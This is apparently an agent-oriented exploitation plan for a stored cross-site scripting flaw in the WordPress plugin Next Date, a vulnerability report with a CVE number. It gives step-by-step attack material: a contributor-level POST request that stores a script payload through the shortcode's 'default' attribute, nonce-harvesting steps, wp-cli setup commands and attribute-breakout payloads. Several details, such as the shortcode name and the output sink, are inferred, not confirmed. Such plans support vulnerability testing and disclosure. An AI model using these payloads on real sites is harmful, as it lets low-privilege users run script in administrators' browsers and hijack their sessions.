Next Date <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'default' Shortcode Attribute

This research plan outlines the technical analysis and exploitation steps for CVE-2026-4920 (Note: Likely a typo for 2024-4920), a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Next Date (versions <= 1.0).

---

1. Vulnerability Summary

The Next Date plugin (slug: nextdate) provides a shortcode to calculate and display future dates. The vulnerability exists in the shortcode's handling of the default attribute. When the shortcode is processed, the value provided in the default attribute is rendered on the page without sufficient sanitization or output escaping. This allows an authenticated user with at least Contributor-level privileges to embed malicious JavaScript within a post or page.

2. Attack Vector Analysis

• Shortcode Name: [nextdate] (inferred from plugin slug) or [next_date] (inferred).
• Vulnerable Attribute: default
• Authentication Requirement: Contributor+ (any role allowed to create/edit posts).
• Persistence: Stored (the payload is saved within the post content in the wp_posts table).
• Trigger: Execution occurs whenever a user (including administrators) views the post containing the malicious shortcode on the frontend or during a preview in the backend.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode during the init hook using add_shortcode( 'nextdate', 'callback_function' ).
2. Attribute Parsing: Inside the callback function, shortcode_atts() is used to merge user-supplied attributes with defaults.

   $atts = shortcode_atts( array(
       'date'    => '',
       'format'  => 'Y-m-d',
       'default' => '', // Vulnerable attribute
   ), $atts );
   

3. Processing: The plugin attempts to calculate the "next date" based on the date attribute.
4. The Sink: If calculation fails or if the default value is intended to be shown alongside the date, the plugin returns a string containing the raw $atts['default'] value.

   // Vulnerable output pattern
   return '<span class="next-date">' . $atts['default'] . '</span>'; 
   

5. Rendering: WordPress echoes the returned value of the shortcode callback on the frontend, executing the injected script.

4. Nonce Acquisition Strategy

This vulnerability does not involve a custom AJAX or REST API endpoint that requires a plugin-specific nonce. Instead, it leverages the standard WordPress Post Creation/Editing flow.

To automate this with an agent:

1. Context: The agent needs a valid _wpnonce and post_ID to update a post via wp-admin/post.php.
2. Acquisition:
   • Log in as a Contributor.
   • Navigate to wp-admin/post-new.php.
   • Extract the _wpnonce from the HTML source (specifically the #_wpnonce input field).
   • Alternatively, use the WordPress REST API which requires an X-WP-Nonce header, obtainable from any admin page via:
     browser_eval("wpApiSettings.nonce")

5. Exploitation Strategy

The goal is to store a payload that executes alert(document.domain) when viewed.

Step 1: Test for Shortcode Existence
Use wp-cli to confirm the shortcode is active:

wp eval "echo shortcode_exists('nextdate') ? 'exists' : 'not found';"

Step 2: Submit the Payload
Use the http_request tool to create a post as a Contributor. We will use the standard WordPress post.php handler.

• URL: http://[target]/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:

  action=editpost
  &post_ID=[POST_ID]
  &_wpnonce=[NONCE]
  &post_title=XSS+Test
  &content=[nextdate+default="<script>alert(document.domain)</script>"]
  &post_status=publish
  

  Note: Contributors cannot "publish" directly; they will "Submit for Review". The payload will still be stored and viewable via the preview link or when an Admin views the post.

Step 3: Triggering the XSS
Navigate to the frontend URL of the post or the preview URL:
http://[target]/?p=[POST_ID]&preview=true

6. Test Data Setup

1. Create User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Create Initial Draft:

   wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title="Draft"
   

   Capture the returned Post ID for use in the HTTP request.

7. Expected Results

• The HTTP request should return a 302 Redirect back to the post editor.
• Upon visiting the post URL, the browser should render the following HTML (inferred):
  <span class="next-date"><script>alert(document.domain)</script></span>
• An alert box should appear in the browser context.

8. Verification Steps

After performing the HTTP exploit, verify the database state using wp-cli:

# Check if the shortcode with the payload is stored in the post content
wp post get [POST_ID] --field=post_content

9. Alternative Approaches

If the default attribute is reflected inside an HTML attribute (e.g., a value or title tag), use an attribute breakout payload:

• Targeting Attribute Sink:
  [nextdate default='"><img src=x onerror=alert(1)>']
• Targeting Style Sink:
  If the attribute is placed inside a style tag:
  [nextdate default='expression(alert(1))'] (for older IE) or [nextdate default='background:url("javascript:alert(1)")']

If the shortcode name [nextdate] is incorrect, search the plugin directory for the registration:

grep -rn "add_shortcode" /var/www/html/wp-content/plugins/nextdate/